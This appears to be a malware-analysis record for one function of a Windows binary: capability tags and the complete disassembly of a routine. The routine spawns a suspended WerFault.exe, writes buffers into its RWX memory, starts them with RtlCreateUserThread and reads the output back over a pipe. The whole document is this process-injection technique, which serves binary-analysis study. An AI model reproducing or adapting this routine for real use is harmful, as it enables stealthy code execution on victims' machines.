Function at 0x140019a30
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create process suspended
Execute shellcode via indirect call
Get common file path

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [0x1400643c8]
xor rax, rsp
mov qword [rbp + 0x140], rax
mov dword [rsp + 0x58], r9d
mov esi, r8d
mov r15, rdx
mov r14, rcx
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov rdi, qword [rbp + 0x1b0]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
mov dword [rbp + 4], eax
mov dword [rbp - 0x60], 0x68
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
xor r12d, r12d
mov qword [rbp - 0x70], r12
mov dword [rbp - 0x78], 0x18
mov dword [rbp - 0x68], 1
mov r9d, 0x100000
lea r8, [rbp - 0x78]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x140019af8
mov rcx, r14
call fcn.140002c80
nop
mov rcx, r15
call fcn.140002c80
xor al, al
jmp 0x140019e3c
xor r13b, r13b
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [rbp - 0x24], 0x101
mov word [rbp - 0x20], r12w
mov rax, qword [rsp + 0x60]
mov qword [rbp - 8], rax
mov qword [rbp], rax
mov qword [rbp - 0x10], r12
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x30]
call fcn.140020860
mov edx, 0x104
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rcx, [rbp + 0x30]
dec rcx
nop dword [rax]
lea rcx, [rcx + 1]
cmp byte [rcx], r12b
jne 0x140019b50
movsd xmm0, qword [str.WerFault.exe]
movsd qword [rcx], xmm0
mov eax, dword [0x14004c700]
mov dword [rcx + 8], eax
movzx eax, word [0x14004c704]
mov word [rcx + 0xc], ax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140019de5
mov r8, qword [r14 + 0x10]
add r8, qword [r15 + 0x10]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x140019de5
mov r8, r14
cmp qword [r14 + 0x18], 0x10
jb 0x140019bfc
mov r8, qword [r14]
mov qword [rsp + 0x20], r12
mov r9, qword [r14 + 0x10]
mov rdx, rbx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140019de5
mov r9, qword [r15 + 0x10]
test r9, r9
je 0x140019c57
mov r8, r15
cmp qword [r15 + 0x18], 0x10
jb 0x140019c31
mov r8, qword [r15]
mov rdx, qword [r14 + 0x10]
add rdx, rbx
mov qword [rsp + 0x20], r12
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140019de5
mov r12, qword [r14 + 0x10]
add r12, rbx
add rsi, rbx
mov rbx, qword [rsp + 0x70]
mov qword [rsp + 0x50], 0
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140019de5
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], rsi
xor r12d, r12d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call rax
mov eax, r12d
cmp qword [rsp + 0x50], rax
setne al
test eax, eax
je 0x140019de5
mov rsi, qword [rsp + 0x68]
mov dword [rsp + 0x50], r12d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
add ebx, dword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, ebx
jae 0x140019d40
nop dword [rax + rax]
mov qword [rsp + 0x28], r12
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x140019d40
cmp dword [rsp + 0x50], r12d
ja 0x140019d40
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, ebx
jb 0x140019d00
lea r12, [rdi + 0x10]
mov rcx, qword [r12]
cmp rcx, 0x1000
jb 0x140019d6f
mov qword [rdi + 0x10], 0x1000
mov rax, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140019d66
mov rax, qword [rdi]
mov byte [rax + 0x1000], r13b
jmp 0x140019dc7
mov esi, 0x1000
sub rsi, rcx
mov rdx, qword [rdi + 0x18]
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x140019db1
mov qword [r12], 0x1000
mov rax, rdi
cmp rdx, 0x10
jb 0x140019d9a
mov rax, qword [rdi]
lea rbx, [rax + rcx]
mov r8, rsi
xor edx, edx
mov rcx, rbx
call fcn.140020860
mov byte [rbx + rsi], r13b
jmp 0x140019dc7
mov byte [rsp + 0x20], r13b
mov r9, rsi
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call fcn.140012290
cmp qword [rdi + 0x18], 0x10
jb 0x140019dd1
mov rdi, qword [rdi]
mov r8d, dword [r12]
mov rdx, rdi
mov rcx, qword [rsp + 0x68]
call fcn.140019970
mov r13b, 1
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140019df5
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x140019e05
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, r14
call fcn.140002c80
nop
mov rcx, r15
call fcn.140002c80
movzx eax, r13b
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.14001df00
mov rbx, qword [rsp + 0x2a8]
add rsp, 0x250
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret